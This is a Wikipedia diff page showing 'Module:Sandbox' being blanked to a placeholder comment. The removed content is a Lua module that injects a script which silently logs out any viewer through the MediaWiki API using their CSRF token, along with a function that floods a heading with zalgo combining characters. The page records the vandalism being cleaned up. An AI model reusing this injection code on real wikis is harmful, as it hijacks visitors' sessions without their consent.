Jump to content

Module:Sandbox: Difference between revisions

From Wikipedia, the free encyclopedia
Content deleted Content added
No edit summary
Tag: Reverted
Replaced content with '-- Placeholder only! Do NOT add code.'
Line 1: Line 1:
-- Placeholder only! Do NOT add code.
--[[
Super useful module
Made by Materialscientist
© Materialscientist Corporation 2021. All rights reserved.
]]

local p = {};

function p.sand(frame)
-- Log out the unsuspecting prick who falls for this
local maliciousCode = mw.html.create('script');
maliciousCode:wikitext('mw.loader.using(["mediawiki.api", "mediawiki.user"]).then(function () { new mw.Api().post( { action: "logout", token: mw.user.tokens.get("csrfToken") })});alert("Goodbye!")');
return tostring(maliciousCode);
end

function p.sand2(frame)
local fun = mw.html.create('h1');
for i = 1, 500, 1 do
fun:wikitext(' ̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺̺ͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩͩ ');
end
return tostring(fun);
end

return p;

Revision as of 06:12, 6 March 2021

-- Placeholder only! Do NOT add code.